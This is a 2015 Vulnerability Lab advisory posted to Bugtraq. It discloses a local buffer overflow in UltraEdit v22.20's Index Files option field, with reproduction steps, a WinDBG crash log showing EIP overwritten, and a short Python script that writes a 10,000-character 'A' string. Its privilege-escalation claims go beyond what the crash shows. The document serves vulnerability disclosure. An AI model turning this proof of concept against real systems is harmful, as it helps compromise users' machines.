Date: Wed, 23 Sep 2015 16:24:15 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: bugtraq@...urityfocus.com, bugs@...uritytracker.com
Subject: UltraEdit v22.20 - Buffer Overflow Vulnerability

Document Title:
===============
UltraEdit v22.20 - Buffer Overflow Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1601


Release Date:
=============
2015-09-16


Vulnerability Laboratory ID (VL-ID):
====================================
1601


Common Vulnerability Scoring System:
====================================
6.3


Product & Service Introduction:
===============================
UltraEdit by IDM is the ideal text, HTML and hex editor, and an advanced PHP, Perl, Java and JavaScript editor for programmers. 
UltraEdit is also an XML editor including a tree-style XML parser. An industry award winner, UltraEdit supports disk-based 64-bit file 
handling (standard) on both 32- and 64-bit Windows platforms.  

IDM has been publishing software since 1994 and is a highly stable, debt-free company and trusted CISP compliant merchant.

IDM products have won coveted industry awards to include PC Magazines Annual Editors Choice Award and the Shareware Industry Application 
of the Year Award, as well as the Shareware Industry People`s Choice Award. Our software is highly recognized for its programming 
excellence and is featured internationally in numerous magazines. Our UltraEdit text editor product is recognized around the world as 
one of the best products of its class. IDM is recognized as a certified Microsoft partner.

IDM products have nearly two million registered users in most countries, and are localized in eight different languages and are 
recognized around the world. Numerous Federal, State, and Local governments/agencies, Fortune 100/500/1000 companies, and hundreds 
of thousands of private users use IDM products worldwide.

(Copy of the Homepage: http://www.ultraedit.com/downloads/ultraedit_download.html )


Abstract Advisory Information:
==============================
An indepdent vulnerability laboratory researcher discovered a local buffer overflow vulnerability in the official UltraEdit v22.20 software client.


Vulnerability Disclosure Timeline:
==================================
2015-09-15: Researcher Notification & Coordination (ZwX)
2015-09-15: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A classic local unicode buffer overflow vulnerability has been discovered in the official UltraEdit v22.20 software client. 
The vulnerability allows local attackers to gain higher system or access privileges by exploitation of a classic unicode 
buffer overflow vulnerability.

The vulnerability is located in the Menu -> project -> Options index files module. Local attackers with low- privilege system user accounr 
or restricted system privileges are able to compromise the local system by exploitation of a classic unicode buffer overflow vulnerability.
The local attacker copies a specific byte size string to the options index files input to overflow the process and overwrite the registers 
like exc or eip. Thus allows the local attacker to takeover the system process of the software client to compromise the local system/server.

The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.3. 
Exploitation of the vulnerability requires a low privilege system user account and no user interaction. Successful exploitation of the local
vulnerability results in system compromise by elevation of privileges via overwrite of the registers.

Vulnerable Module(s):
			[+]  Menu > Project > Options > Index Files  (Input)


Proof of Concept (PoC):
=======================
The local buffer overflow vulnerability can be exploited by local attackers with restricted system user account without user interaction. 
For security demonstration or to reproduce follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Install the software and start the client
2. Copy  the AAAA...string from bof.txt to clipboard
3. Run UltraEdit.exe
4. Go Menu -> project -> Options index files
5. Paste it the input AAAA....string and click Browse
6. Software will stable crash or shut down
7. Successful reproduce of the local buffer overflow vulnerability!

--- Debug Log (WinDBG) ---
eax=00000000 ebx=00000000 ecx=00410041 edx=77a372cd esi=00000000 edi=00000000
eip=00410041 esp=0024e284 ebp=0024e2a4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
uedit32+0x10041:
00410041 0200            add     al,byte ptr [eax]          ds:0023:00000000=??
0:000> !exchain
0024e298: ntdll!RtlRaiseStatus+c8 (77a372cd)
0024ecf4: uedit32+10041 (00410041)
Invalid exception stack at 00410041
0:000> d 0024ecf4
0024ecf4  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0024ed04  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0024ed14  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0024ed24  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0024ed34  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0024ed44  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0024ed54  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0024ed64  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.


PoC: Exploit Client v20.0.0
buffer = "A"*10000
file = open("bof.txt","w")
file.write(buffer)
file.close()
print "File Created"
print " Contact msk4@...e.fr"


Solution - Fix & Patch:
=======================
Restrict the Option > Index File input by size and allocate the memory to deny to overflow the process by interaction with the vulnerable input field.


Security Risk:
==============
The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.3. (CVSS 6.3)


Credits & Authors:
==================
ZwX


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=========================
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